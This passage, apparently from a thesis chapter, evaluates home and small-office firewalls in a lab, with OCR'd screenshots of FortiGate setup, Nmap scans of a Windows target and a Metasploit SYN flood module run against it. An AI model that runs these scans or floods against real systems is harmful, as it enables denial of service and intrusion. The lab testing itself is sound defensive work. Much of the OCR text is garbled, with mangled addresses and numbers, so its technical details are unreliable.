S OL ’adminv

& Dashboard
S Security Fabric

s FortView

+ Network v

Interfaces

DNS
SD-WAN
Performance SLA

FLATINET.
FortiGiate VMad-HYM 3379
[
[
246810
% Create New~ ¢ Edit [ Delete SN By Role | Alphabetically
Status Name Members P/Netmask Type Access Ref.
Physical (10)
4] port1 (Outside] 172.16.10.1 255.255.255.0 (M Physical Interface  PING HTTPS SSH HTTP FMG-Access FortiTelemetry 3
4] port2 {Inside segment) 10.10.10.1255.255.255.0 1 Physical Interface  PING HTTPS SSH FMG-Access FortiTelemetry 3

Figure 4-12 Firewall segments

Interface Mame port2 (50:00:00:01:00:01)

Alias

Link Status

Type

Tags
Role €»

Address

| Inside segment

Up &
Physical Interface

|LAN -

& Add Tag Category

Addressing mode DHCP Dedicated to FortiSwitch
IP/Network Mask | 10.10.10.1/255.255.255.0

Administrative Access

IPva HTTPS PING FMG-Access CAPWAP
SSH SNMP FThA
RADIUS Accounting FortiTelemetry

Figure 4-13 Inside Segment configuration
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Edit Interface

Interface MName portl (50:00:00:01:00:00])

Alias Outside

Link Status Up o

Type Physical Interface

Tags

Role € LA -~

© Add Tag Category

Address
Addressing mode DHCP Dedicated to FortiSwitch
IP/MNetwork Mask 172.16.10.1/255.255.255.0

Administrative Access

1Pwa HTTPS HTTP PING FMG-Access
cAPWAP SsSH SNMP FTiA1
RADIUS Accounting FortiTelemetry

&> DHCP Server

Figure 4-14 Outside Segment Configuration

£33 FortiGate - FortiGate-V' X | +
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", Kali Linux ' Kali Training ", Kali Tools “&, Kali Docs ", Kali Forums “s, NetHunter [fJ Offensive Security & Exploit-DB & GHDB JJMSFU

== FortiGate VM64-KVM  FortiGate-VMé&4-KVM ~ 1 (- Le ‘ admin -
- >

s FortiView
& < Refresh  Q Route lookup & Edit Route @ Create Address Policy
Network

|

& System Type Network Gateway IP Interfaces Distance
B Policy & Objects Connected 10.10.10.0/24 0.0.0.0 [ Inside segment (port2) 0
& Security Profiles Connected 172.16.10.0/24 0.0.0.0 [® Outside (port1) ]

O VPN

& User & Device

= WiFi & Switch Controller
bl Log & Report

@ Monitor

Bl < v v v v v v v v

Routing Monitor

Figure 4-15Routing entries

root@kali:~# ping 172.16.18.1

PING 172.16.10.1 (172.16.18.1) 56(84) bytes of data.

64 bytes from 172.16.10. icmp seg=1 ttl=255 time=1.01 ms
64 bytes from 172.16.10. icmp seg=2 ttl=255 time=08.790 ms
64 bytes from 172.16.10. icmp seg=3 ttl=255 time=8.931 ms
64 bytes from 172.16.10. icmp seg=4 ttl=255 time=08.652 ms
64 bytes from 172.16.10. icmp seg=5 ttl=255 time=0.862 ms
64 bytes from 172.16.10. icmp seg=6 ttl=255 time=08.620 ms
64 bytes from 172.16.10. icmp seg=7 ttl=255 time=08.809 ms
~C

--- 172.16.10.1 ping statistics ---

7 packets transmitted, 7 received, 0% packet loss, time 6892ms
rtt min/avg/max/mdev = 0.620/0.816/1.007/0.129 ms

HoE

Figure 4-16 Accessibility from outside host to outside gateway
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root@kali:—-# ping 10.18.10.1
PING 10.19.10.1 (10.18.19.1) 56(84) bytes of data.

~C

bytes from 18.10.10.
bytes from 108.18.106.
bytes from 10.16.106.
bytes from 10.16.106.
bytes from 108.16.10.
bytes from 108.10.10.
bytes from 108.10.10.
bytes from 108.10.10.

N N s

icmp seq=8 ttl=255 time=@

19.198.1@.1 ping statistics ---

8 packets transmitted, 8 received, 0% packet loss,
ret mingavgs/maxy//mdev = 0.690,/1.040,/2.449,/0.532 ms
root@kali: -#

Figure 4-17 Accessibility from outside to inside gateway

root@kali:~# ping 10.10.10.10
PING 10.10.10.10 (10.10.10.18) S56(84) bytes of data.

: icmp seqg=1 ttl=255 time=0.
icmp seqg=2 ttl=255 time=0.
icmp seqg=3 ttl=255 time=0.
icmp seqg=4 ttl=255 time=2.
icmp seqg=5 ttl=255 time=06.
icmp seq=6 ttl=255 time=0.
icmp seq=7 ttl=255 time=0.

911
946
8548

886
599
590
.891

time

64 bytes from 10.10.10.1@: icmp seq=1 ttl=127 time=14.7 ms

64 bytes from 10.10.10.10: icmp seq=2 ttl=127 time=7.
64 bytes from 10.10.10.10: jicmp seq=3 ttl=127 time=4.
64 bytes Trom 10.10.10.10: jicmp seq=4 TTtLl=127 time=6.

46 ms
93 ms
95 ms

64 bytes from 10.10.10.1@: icmp seq=5 ttl=127 time=15.1 ms

64 bytes from 10.10.10.10: jicmp seq=6 ttl=127 time=5.
64 bytes from 10.10.10.10: jicmp seq=7 ttl=127 time=9.

--- 19.19.19.10 ping statistics ---

7 packets transmitted, 7 received, ©% packet loss, time

rtt minsavgsmaxy/s/mdev = 4.929,/9.165/15.055,/3.887 ms
root@kali:—#

Figure 4-18 Accessibility from outside host to the inside host

Et hernet adapter Local Area Connection:

D tion
Phy al Addw
DHCP Enabled. . . . . .
Autoconfiguration Enabled . n = ¥
Link—local IPu6 Address - - = F B::a508:8bb?7:4562:befdx11(Preferredd
- : 18.168.18.18<{Prefexr 2
255 _.255.255.8

4:2

DHCPw6 IAID N ) : 240123984

32 ms
79 ms

ms
ms
ms

45 ms

ms
ms
ms
ms

Jee3ms

S0e09ms

Intel<R> P 888 MT Network Connection
5A-AR—-BB— -8

. 1Y a.m.
21 4:21:19 a.m.

DHCPu6 Client DUID- - = = : 98-81-08-01-29-15-A4—-B3-50-00-00-84—-00-080

DNS Servers . . . . - - - : 288.91.112.53
@88 .91 .112 _52
MetBIOS over Tcpip. - - o : Enmabled

Figure 4-19 Inside hostIPaddress
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C:>\Userx»r»s\user»>ping 18.1686.168_1

32 bytes
Reply fx»om i butes =32
Reply fx»om buyutes=32
Reply fx»om byutes =32
Reply fx»om butes=32

Received
round tx»ip times in T
Minimum = 4ms,. Max<ximum = 22Zm

C:-\Userxr»s\user>ping 172 _16.16._1

Pinging 172 _.16 .16 ._
Reply fx»om 172 _16 .
Reply fy»om 172 _16 .
Reply fyx»om 172 _16 .
Reply fx»om 172 _16 .

Ping statistics fox» 172 _16.16._1:

Packets: Sent = 4. Received 4, Lost = 8 <8 loss>.
ANppr»oximate »ound tx»ip times in milli—seconds:=

Minimum = 18ms.,. Maximum = 13ms.,. Auverage = 11lms

with 32 buytes of data-s
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Ping statistics

Packets: Sent Received = 4, Lost = 8 <B8:x loss>.
Appr»oximate »ound €tx»ip times in milli—seconds:=

Minimum = 18ms.,. Maximum = 16ms.,. RAuvexrage = 12ms

C:-\Usexrs\usex»>__

Figure 4-20 Accessibility from inside to outside segment

4.5 RECONNAISSANCE

The first and foremost task is to identify the target on the network, i.e., reconnaissance
operations to identify and set the target for attack. Through this operation, they identified the
target on the inside segment of the network by running the NMAP scanner. The NMAP scans
give us an inside picture of the network and help us identify the target and its vulnerabilities in

terms of what ports are available on the target host from which attacks can be conducted.

There are two main phases to this scan: considering the home network scenario and evaluation
of the firewall package. How effective is the firewall package in protecting the home network?
We had 2 scans, one in which the NMAP scans were done from the outside segment and the
other from the same segments where our target host resided, and we observed the effects of the

firewall presence in this phase. To verify the vendors' claims of securing the home network,

FIREWALL POLICY 1: ALL TRAFFIC PERMITTED FROM OUTSIDE TO INSIDE

77



Zenmap >

Scan Tools Profile Help

Target: - Profile: - Scan Can
Coammand: | Intense scan
Intense scan plus UDP |
H T S i Mmap Qutput | Ports f Hos cans
osts oS P P - Intense scan, all TCP ports
- ~ Details
os Host -~ . Intense scan, no ping -
Ping scan
Qiuick scan
Qluick scan plus
Quuick traceroute
Regular scan
Slow comprehensive scan
Figure 4-21 NMAP
Zenmap >
Scan Tools Profile Help
Target: 10.10.10.10 - Profile: Intense scan, all TCP por,  — Scan Cancel
Command: nmap -p 1-65535 —|T4 -4 —w10.10.10.10
Hosts Services MNmap Output | Ports f Hosts | Topology | Host Details | Scans
os Host - - Beails
. .
Figure 4-22 NMAP GUI, Scan command and options
Zenmap *x
Scan Tools Profile Help
Target: 10.10.10.10 - Profile: Intense scan, all TCP ports - Scan Cancel
Command: nmap -p 1-65535-T4 -A -v10.10.10.10
Hosts Services Nmap Output | Ports f Hosts | Topology | Host Details | Scans
os Host . nmap -p1-65535-T4-A -v10.10.10.10 - £ | Details

Starting Nmap 7.80@ ( https://nmap.org ) at 2021-11-04 21:32 EDT

NSE: Loaded 151 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 21:32

Completed NSE at 21:32, 0.00s elapsed

Initiating NSE at 21:32

Completed NSE at 21:32, ©0.00s elapsed

Initiating NSE at 21:32

Completed NSE at 21:32, ©0.00s elapsed

Initiating Ping Scan at 21:32

Scanning 10.10.10.10 [4 ports]

Completed Ping Scan at 21:32, 0.04s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 21:32

Completed Parallel DNS resolution of 1 host. at 21:32, 13.080s elapsed

Initiating SYN Stealth Scan at 21:32

Scanning 10.10.10.10 [65535 ports]

Discovered open port 445/tcp on 10.16.10.10

Discovered open port 139/tcp on 10.10.10.10

Discovered open port 3389/tcp on 10.10.10.10

Discovered open port 135/tcp on 10.18.10.10

adjust_timeouts2: packet supposedly had rtt of 9746887 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of 9746887 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of 8500017 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of 8580017 microseconds. Ignoring time.

Figure 4-23NMAPReconnaissance/scanning i
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Zenmap x

Scan Tools Profile Help

Target: | 10.10.10.10 = | Profile: | Intense scan, all TCP ports - Scan Cancel

Command: | nmap-p1-65535-T4-A -v10.10.10.10

Hosts || Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans

05 | Host = nmap -p1-65535 -T4 -A -v10.10.10.10 + | = [Details

SYN Stealth Scan Timing: About 48.17% done; ETC: 21:38 (©:03:45 remaining)
SYN Stealth Scan Timing: About 48.11% done; ETC: 21:38 (0:03:15 remaining)
Discovered open port 49155/tcp on 10.10.10.10

SYN Stealth Scan Timing: About 56.07% done; ETC: 21:38 (©:02:45 remaining)
Discovered open port 2000/tcp on 10.10.10.10

SYN Stealth Scan Timing: About 64.81% done; ETC: 21:38 (©:02:15 remaining)
SYN Stealth Scan Timing: About 71.91% done; ETC: 21:38 (©:01:46 remaining)
Discovered open port 49152/tcp on 10.10.10.10

Discovered open port 49154/tcp on 190.10.10.10

SYN Stealth Scan Timing: About 79.69% done; ETC: 21:38 (0:01:17 remaining)
Discovered open port 49156/tcp on 10.10.10.10

SYN Stealth Scan Timing: About 87.63% done; ETC: 21:38 (0:00:47 remaining)
Discovered open port 2869/tcp on 10.10.10.10

Discovered open port 49157/tcp on 10.10.10.10

Discovered open port 5060/tcp on 10.10.10.10

Completed SYN Stealth Scan at 21:38, 390.79s elapsed (65535 total ports)
Initiating Service scan at 21:38

Scanning 13 services on 10.10.10.10

Service scan Timing: About 61.54% done; ETC: 21:40 (©:00:34 remaining)
Completed Service scan at 21:39, 58.97s elapsed (13 services on 1 host)
Initiating 0S detection (try #1) against 10.10.10.10

Initiating Traceroute at 21:39

Completed Traceroute at 21:39, 0.02s elapsed

Initiating Parallel DNS resolution of 2 hosts. at 21:39

Completed Parallel DNS resolution of 2 hosts. at 21:39, 13.00s elapsed
NSE: Script scanning 10.10.10.10.

Initiating NSE at 21:39

Figure 4-24 NMAP Reconnaissance/ scanning ii

Zenmap >

Scan Tools Profile Help

Target: 10.10.10.10 -~ Profile: Qiuick scan plus -~ Scan Cancel

Command: nmap -sV -T4 -0 -F --version-light 10.10.10.10

Hosts Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans

Service - Hosts Viewer || Fisheye | Controls Legend | Save Graphic
http
microsoft-ds

msrpc clw e

ms-wbt-server

~ Action

v

netbios-ssn

tcpwrapped

unknown

10.10.10.10 Interpolation

v

Layout
172.16.10.1 -~ View

[» address I
[» hostname

localhost — .
Zoom 201
L P TTTTTTRO »
D e P, 20
Lower ring gap :
Fisheye onring 1.00 : with interest factor 2.00 : and spread factor 0.50 :

Filter Hosts

Figure 4-25NMAPTCP Wrapped target host
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Scan Tools Profile Help

Target: 10.10.10.10

Zenmap x

- Profile: | Quickscan plus - Scan Cancel

Command: | nmap-sV-T4-0 -F --version-light 10.10.10.10

Hosts Services

Service -
hep
microsoft-ds
msrpc
ms-whbt-server
netbios-ssn
tcpwrapped
unknown

Scan Tools Profile Help

Target: | 10.10.10.10

Nmap Output | Ports /Hosts | Topology | Host Details | Scans

nmap -sV -T4 -0 -F —-version-light 10.10.10.10 - Details

Host is up (©2.048s latency).
Not shown: 88 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tecp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds

(workgroup: WORKGROUP)

2000/tcp open tcpwrapped

3389/tcp open ssl/ms-wbt-server?

5060/tcp open tcpwrapped

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49157 /tcp open unknown

Device type: general purpose

Running: Microsoft Windows 2008 |Vista|7

0S CPE: cpe:/o:microsoft:windows server 2088::beta3 cpe:/
o:microsoeft:windows_server_ 2808 cpe:/o:microsoft:windows vista::- cpe:/
o:microsoft:windows_vista::spl cpe:/o:microsoft:windows_7

0S details: Microsoft Windows Server 2008 or 2008 Beta 3, Microsoft Windows Vista
SP@ or SPl, Windows Server 2008 SP1l, or Windows 7, Microsoft wWindows VWista SP2,
windows 7 SP1l, or wWindows Server 2008

Network Distance: 2 hops

Service Info: Host: WINPC; 0S: Windows; CPE: cpe:/o:microsoft:windows

0S and Service detection performed. Please report any incorrect results at https://
nmap.org/submity/ .
Nmap done: 1 IP address (1 host up) scanned in 48.24 seconds

Figure 4-26 NMAP host vulnerabilities (open ports) i

Zenmap x

~ | Profile: = Quickscan plus v Scan | | Cancel

Command: | nmap-sV-T4 -0 -F --version-light 10.10.10.10

Hosts Services

Service -
tcpwrapped

netbios-ssn

ms-whbt-server

msrpc

microsoft-ds

http

Nmap Output | Ports [ Hosts | Topology | Host Details | Scans

Hostname ¥ | Port Protocol State Version
@ 10101010 49157 tep open
@ 10101010 49156 tcp open
@ 10101010 49155 tcp open
@ 10101010 49154 tcp open
@ 10101010 49153 tcp open
@ 10101010 49152 tcp open

Figure 4-27NMAP host vulnerabilities (open ports) ii

80



Zenmap

Scan Tools Profile Help

Target: | 10.10.10.10 v  Profile: | Quickscanplus

Command: | nmap-sV-T4-0-F --version-light 10.10.10.10

Hosts Services Nmap Output | Ports/Hosts | Topology = Host Details | Scans
: Hostname ¥  Port Protocol State Version
Service -
© 10101010 5060 tcp open
unknown
® 10101010 2000 tcp open
tcpwrapped
netbios-ssn

ms-wbt-server
msrpc
microsoft-ds
http

Figure 4-28 NMAP host vulnerabilities (open ports)ii

Zenmap

Scan Tools Profile Help
Target: | 10.10.10.10 v | Profile: | Quickscan plus
Command: | nmap-sV-T4-0 -F --version-light 10.10.10.10

Hosts Services Nmap Qutput | Ports/Hosts | Topology | Host Details | Scans
Serv Hostname ¥  Port  Protocol  State  Version
ervice -

@ 10101010 139 tcp open Microsoft Windows netbios-ssn

unknown
tcpwrapped
netbios-ssn

ms-wbt-server
msrpc
microsoft-ds
http

Figure 4-29 NMAP: Vulnerability nebios-ssn (open port)
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Lenmap =

scan  Tools Profile Help

‘arget: | 10.10.10.10 - Profile:  Quick scan plus - Scan Cancel

command: | nmap -sV-T4 -0 -F --version-light 10.10.10.10

Hosts Services Mmap Output | Ports /Hosts  Topology | Host Details | Scans
. Hostname ¥  Port Protocol State Version
Service -
© 10101010 3389  tcp open
unknown
tcpwrapped

netbios-ssn

s-whbt-server

msrpc
microsoft-ds
hitp

Figure 4-30 NMAP: MS-wbt-server Vulnerability (open port)

Zenmap x

Scan Tools Profile Help
Target: | 10.10.10.10 ¥ | Profile: | Quick scan plus v Scan Cancel
Command:  nmap-sV-T4 -0 -F --version-light 10.10.10.10

Hosts Services Nmap Output | Ports /Hosts | Topology | Host Details | Scans

. Hostname ~  Port Protocol State Version
Service - . .

@ 10.101010 135 tcp open Microsoft Windows RPC

unknown
tcpwrapped
netbios-ssn

ms-wbt-server

msrpec

microsoft-ds
http

Figure 4-31 NMAP: MSRPC vulnerability

Zenmap x
Scan Tools Profile Help
Target: | 10.10.10.10 ~  Profile: | Quickscanplus - Scan | | Cancel
Command: | nmap-sV-T4 -0 -F --version-light 10.10.10.10
Hosts Services Nmap Output | Ports {Hosts | Topology | Host Details | Scans
Sarvi Hostname ¥  Port Protocol State Version
ervice -
" @ 10101010 445 tcp open Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
unknown
tcpwrapped
netbios-ssn

ms-whbt-server
msrpc

microsoft-ds

http

Figure 4-32 NMAP: MSRPC (Eternal blue ransomware vulnerability)
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Zenmap x

Scan Tools Profile Help

Target:  10.10.10.10 ~  Profile: | Quickscanplus - Scan | | Cancel

Command: = nmap -sV -T4 -0 -F --version-light 10.10.10.10

Hosts Services Nmap Output | Ports /Hosts | Topology = Host Details | Scans
. Hostname ~  Port Protocol State Version
senvice © 10101010 2869  tcp open Microsoft HTTPAPI httpd 2.0 (SSDP/UPRP)
unknown
tcpwrapped
netbios-ssn

ms-whbt-server

msrpc
microsoft-ds
Figure 4-33 NMAP: Webserver port
Hosts Viewer >
Hosts General | Services | Traceroute

10.10.10.10

Ports (13) | Extraports (88) | Special fields

Port Protocol State Service Method
» 135 tcp open MSsrpc probed
> 1329 tcp open netbios-ssn probed
b 445 tcp open microsoft-ds probed
» 2000 tcp open tcpwrapped probed
» 2869 tcp open hittp probed
» 3389 tcp open ms-wbt-server table

> 5060 tcp open tcpwrapped probed
49152 tcp open unknoww n table

» 49153 tcp open UnkKmnow n table

» 49154 tcp open unknowwn table

> 49155 tcp open unknowwn table

b 49156 tcp open unknown table

» 49157 tcp open UnkKmnow n table

Figure 4-34 NMAP: List of all vulnerabilities

<« e @ ® 172.16.10.ngffortiview/session/all w vy INBD @ =
“, Kali Linux "%, Kali Training %, Kali Tools %, Kali Docs “, Kali Forums % MetHunter JJ] Offensive Security % Exploit-DB % GHDB JJMSFU

4-KVM L@ ‘ admin~

@& Dashboard o ‘ © Add Filter ‘ Onow- &
. ) .

¥x Security Fabric > Source Source Device Source Interface | Destination Destination Device Destination Interface | Application | Bytes (Sent/Received)
S v | 172161010 A 00:50:00:000200  Outside (portt)  10-10.10.10 @ 50:00:00:04:00.00 [ nside segrent (port2)  ICMP/8  32.26 kD )

Traffic From LAN/DMZ
Sources

Destinations

Annlieatinne

Figure 4-35 Firewall connection view during NMAP Scan
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@ Dashboard
8k Security Fabric
iu FortiView
Traffic From LAN/DMZ

Sources

Destinations
Applications
Traffic Shaping
Traffic From WAN
Sources
Servers
Al Segments
Policies
Interfaces
Al Sessions
 Network
& System

Destinations

Policy
l

’ € 0 ‘Hource: 172161010 § Add Filter

X Br Omow- B- & [

Summary of 172.16.10.10

Devc 2 00500000200
Applications Detected 1
Bytes (Sent/Received) 104.83 kB M|

Bandwidth 1.62 kbps -

Sessions 1

Time Period Realtime

FortiGate FGVMEVCOF7GQVPBI

Destinations Applications ~ Countries ~ Policies
Destination Bytes (Sent/Received) +

10.10.10.10 105.00 kB —

Source Interfaces  Destination Interfaces  Sessions »

Sessions Bandwidth

1 1 kbps I—

Figure 4-36 Firewall sourceview during NMAP Scan

Applications ~ Countries ~ Policies  Domains ~ Categories  Source Interfaces  Destination Interfaces

Bytes (Sent/Received v
12096 kB

Sessions »

Bandwidth
1 kbps, —

Figure 4-37 Firewall Policy permitting connection from outside to inside segment
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& Dashboard 1¢ 2 ‘xSource: 172.16.10.10 | © AddFitter x| Onowr & [3
~& Security Fabric >
. Summary of 172.16.10.10

i FortiView v

Traffic From LAN/DMZ Device A 00:50:00:00:02:00

Sources Applications Detected 1

Destinations Bytes (Sent/Received] 118.94 kB Ml

ClE Bandwidth 1.10 kbps m—

Traffic Shapi

— Sessions 1

Traffic From WAN

Time Period Realtime
Sources
FortiGate FGVMEVCOF7GQVPBL

Servers

All Segments Destinations Applications ~ Counfries  Policies  Domains  Categories | Source Interfaces | Destination Interfaces  Sessions =

Polici

ollces Source Interface Bytes (Sent/Received) + Bandwidth

[T  Outside (port1) 124,66 k3 n— 1 Kbps I—

All Sessions
& Network y

Figure 4-38 Firewall permit connection from the sourceinterface

i%; FortiGate - FortiGate-V' X | +
& c @ ® £ 172.16.10.1/ngffortiview/source/lan_dmz/172.16.10.10 R Yy iInD @ =

%, Kali Linux % Kali Training ', Kali Tools %, Kali Docs “, Kali Forums “ NetHunter [l Offensive Security % Exploit-DB & GHDB [IMSFU

@ Dashboard >
XX Security Fabric y
| FortiView v

Traffic From LAN/DMZ

Sources W

Destinations
Applications
Traffic Shaping
Traffic From WAN
Sources

Servers

All Segments
Policies
Interfaces

All Sessions

4 Netwark >

€ ° | X Source: 172.16.10.10 ' & Add Filter x| @ now~

Summary of 172.16.10.10

Device 4 00:50:00:00:02:00
Applications Detected 1

Bytes (Sent/Received) 118.94 kB |
Bandwidth 1.38 kbps I—

ons 1

Sess|

Time Period Realtime

FortiGate FGVMEVCOF7GQVPB1

Destinations Applications  Countries  Policies ~ Domains  Categories  Source Interfaces | Destination Interfaces Sessions

Bandwidth
1 kbps —

Destination Interface Bytes (Sent/Received) +

128.86 kB n—

Figure 4-39 Firewall permit connection to the destination interface
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A Cepturngfom-
Fle Edt View Go Capture Analyze Statisfics Telephony Wireless Tools Help
inde BREResZfiSEQQQE

[l |App|y 2 diplay fiter . <Chl>»

o, Tie Source Destination Frotocol  Length Tnfo

55131488082 16.10.16.10 172.16.10.18 TP 66 19 + 33924
2352 31489589 172.16.10.10 19.19.16.18
2353 31499537 172.16.16.10 19.19.16.18

60 3892 A Len=A
2354 30501230 172.16.10.19 19.10.10.10 TP 66 38065 3 21 [ACK] Seq=1 Ack=28 in=§4256 Len=R TSval-3513612295 TSecr=238367
235 31510143 10.10.10.19 172.16.10.10 TP 66 21 + 38066 [ACK] Seq=28 Ack=2 Win=66560 Len=R TSval=238384 TSecr=3513612097
2353 31511430 172.16.10.19 19.10.10.10 TP 66 35634 5 13 [ACK] Seq=1 Ack=1 Kin=h4256 Len=D Tval=3513612422 TSecr=238381
2350 30512058 10.10.10.19 172.16.10.10 DAYTIME 89 DAYTIME Response

172.16.18.18 19.19.18.18 78 DAYTIME Request

16.10.10.10 172.16.18.18 413 » 35634 [RST, ACK

172.16.10.10 ; ]

[72.16.10.18 ]

L ]

172.16.1.18 16.10.10.10 B0 38924 + 19 [RST] Seg Lenh
D67 LN 172.16.10.10 16.10.10.10 TP 66 38065 5 20 [ACK] Seg=2 Ack=29 in=64256 Len=0 TSval=3513612464 Toecr=238354
D363 3L 172.16.10.10 10.16.10.10 TP 66 35634 5 13 [ACK] Seq=5 Acks24 Hin=64256 Len=0 TSval=3513610473 Tsecr=138385
29 IL5BU) 10161010 172.16.18.18 5413 5 35634 [RST] Seq=24 in=)

19.19.10.18 172.16.1.18 413 + 35634 [RS

3743159978 172.16.18.18 19.19.18.18 TP 66 35636 + 13 [ACK] Seq=1 Ack=1 Hin=64256 Len=B Toval=3513612943 TSecr=238393
375 31608478 10.10.10.10 172.16.18.18 DAYTIME 89 DAYTIME Response

37731601540 172.16.18.18 84 DAYTIME Request

B3 19.19.10.18 172.16.10.18 134 [ReT, 5
172.16.18.18 19.19.18.18 66 35636 5 13 [ACK] Seq=19 Ack=24 Win=64256 Len= TSval=3513612552 TSecr=238303
19.19.10.18 172.16.1.18 134 5 Len=G

19.19.10.18 172.16.1.18 413 + 35636 [RST] Seq=25 Win<d Len=0

58531631805 172.16.18.18 19.19.18.18 TP 66 35638 5 13 [ACK] Seq=1 Ack=1 Kin=54256 Len=h Tval=3513612575 TSecr=2383%

LELEIE PR LI an aA A an 78 ar an an AT O RAVTTHE Race e

Figure 4-40 Wireshark capture: show malicious packet capture transfer

FIREWALL POLICY DISABLED TO PASS TRAFFIC BETWEEN THE
SEGMENTS:
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D

Name From To Source | Destination | Schedule | Service Action

Outtoin [ Outside (portl) M Insice segment (port2) ~ Fal  Jal 0always AL v ACCEPT
i fo. Ot i iside segment port2) Ouisce port) Bl Rl [oays AL VACCET
Implicit Deny (7 any 0 any Zal Bl Gaways DAL @ DENY

Figure 4-41 Disabled firewall policy

root@kali: ~ root@kali: ~ -

root@kali:~# ping 10.10.10.10

PING 10.10.10.10 (10.10.10.10) 56(84) bytes of data.

~C

--- 10.10.10.10 ping statistics ---

12 packets transmitted, © received, 100% packet loss, time 11243ms

root@kali:~# [

Figure 4-42 policy denies traffic from outside segment to inside segment
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X Detath QTogg\esmhng o rlbzeen (W Frowndonsie 4, Setomecinpassd  § tidebs Y Dot
£ Cptuingfrom -
Fle Edt View Go Captwre Andhyze Stafisic; Telephony Wircless Took Help
140 DREGes27iEERQAT
| |Apph‘ 3 diplay fitr . <Crb»
Ao, Tine Surce Destination Frofocol  Length Infa
5239 2021-11-09 19:58:16.,085489 fedl: :3508:80b7:456. ff2::1:2 DHCPve 147 Solicit XID: fxBadbal CI0: 00104812915a4h3500000040000

283.91.112.52 DI
10.19.10.18 H

85 Standard query @¢6d23 A teredo.ipvé.nicrosoft.con

S2411 2021-11-09 19:58:37,114903 50:00:00:03:00:81  COP/VTP/OTP/PAgP/UD.. COP 428 Device ID: Switch Port I0: GigabitEthernete/1

52412 2071-11-09 19:58:37.691604 10.16.10.10 208.91.112.53 s 85 Standard query @¢6d23 A teredo.ipvé.nicrosoft.con
] f 16.18.18.18 le (Ne un le)
208.91.112.52 v6.microsoft. con
19.18.10.10 e)

52414 2621-11-89 19:58:38. 783356 10.10.18.18
52415 2021-11-89 19:38:38.715659 19.10.10.1

Frame 2411: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
Ethernet 11, Src: 50:00:00:04:00:00 (50:00:00:04:00:00), Dst: 50:00:00:01:00:01 (59:00:00:01:00:01)
Internet Protocol Version 4, Src: 10.19.1.19, Dst: 172.16.18.18
¥ Transmission Control Protocol, Src Port: 13, Dst Port: 35642, Seq: 25, Ack: 45, Len: @
Saurce Port: 13
Destingtion Port: 35642
[Stream index: 1122]
[TCP Segnent Len: 0]
Sequence number: 25 (relstive sequence nunber)
[Next sequence number: 25 (relstive sequence mumber)]
Acknoledgnent number: 45 (relative ack nunber)
081 ... = Header Length: 20 bytes (5)
Flags: B4 (RST, ACK)

Figure 4-43 No traffic is passed fromoutside segment to inside as policy denies
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Zenmap >

Scan Tools Profile Help

larget: 10.10.10.10 -~ Profile: Cluick scan - Scan

Zommand: nmap -T4 -F10.10.10.10

Hosts Services MNmap Output | Ports f Hosts | Topology | Host Details | Scans
nmap -T4 -F10.10.10.10 t Details
Starting Mmap 7.8 ( https://nmap.org ) at 2021-11-09

00:38 EST

Note: Host seems down. If it is really up, but
blocking our ping probes, try -Pn

Nmap done: 1 IP address (©® hosts up) scanned in 2.129
seconds

Filter Hosts

Figure 4-44 No vulnerability scans not possible due to firewall blocking traffic

4.6 EXrLOITS TESTING

During this phase, the exploitation was conducted on targets identified during reconnaissance
and observations were made. As previously discussed, there are various exploitation
techniques to conduct attacks on the target. The Kali operating system offers the best of all
tools and frameworks, which is why we are connected to the outside segment. Several attacks
were generated, like DOS Attack, Intrusion, Web Exploit, Eternal Blue, and FTP Exploit. These
exploits also have 2 phases: initially, the first attack was conducted by evading the firewall
from the inside segment, i.e., from the same segment where our targethostis located, deviating
from the working topology to notice the effects of the firewall in the network; later, the same
attacks were generated from the outside segment directed toward the inside segment to observe
the effects of the firewall. Fortinet and Cisco Meraki firewalls were successful in blocking the
attacks, proving their capability to block DOS attacks, intrusion attacks, web filtering, etemal
Blue, and FTP exploits, while the Archadyan demonstrated the limited capability to block such

attacks and tends to be vulnerable.
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4.6.1 DOS ATTACK

A DDOS attack is a denial-of-service attack that basically generates an overwhelming amount
of traffic for the target so that it is unable to serve the legitimate traffic previously discussed.
"HPING" and "MSF" were used in our lab to generate ICMP packets, while MSF generated a
TCP SYN-flood attack.

Fortinet and Cisco Meraki were good at managing such attacks, while Archdyan didn’t have
good management in blocking such traffic. Like Fortinet and Meraki, they can penalize the
source if they continue to send unusual traffic, freeing up the bandwidth from legitimate
sources. While Archdyan does not have an advanced mechanism in place to deter such attacks,
all bandwidth is exhausted by ill-legitimate traffic, provingthere is not enough strength against
DOS attacks.

4.6.1.1 TCPSYN ATTACK

In this type of DOS attack, the malicious users initiate half-open TCP connections towards the
target machine and exhaust its resources to deny legit connections to work, hence denying
service, discussed in detail in chapter 3. The TCP SYN attack in our test lab was generated

using the Kali Linux Metasploit framework "syn flood exploit".

Attack generation from outside segment toward host at inside segment:
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msf5 auxiliary(dos/tcp/synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

Name Current Setting Required Description

INTERFACE no The name of the interface

NUM 0 no Number of SYNs to send (else unlimited)

RHOSTS 10.10.10.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path=’
RPORT 80 yes The target port

SHOST no The spoofable source address (else randomizes)

SNAPLEN 65535 yes The number of bytes to capture

SPORT no The source port (else randomizes)

TIMEQUT 500 yes The number of seconds to wait for new data

msf5 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 10.10.10.10

[*] SYN flooding 10.10.10.10:80...

LR S R R S R

Figure 4-45 Generate SYN flood attack using Metasploit framework

3¢ Detachtob @), Toggle scaling 5% Fulscreen [@] Fittowindowsize %, Setconnectionpassword & Hidebar )¢ Disconnect

£ Capturing from - - X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ma® REResZd b3 QQaH
n |App|‘,‘ a display filter ... <Cirl-/= 4 'l Expression. 1
Mo, Time Source Destination Protocal  Length Info

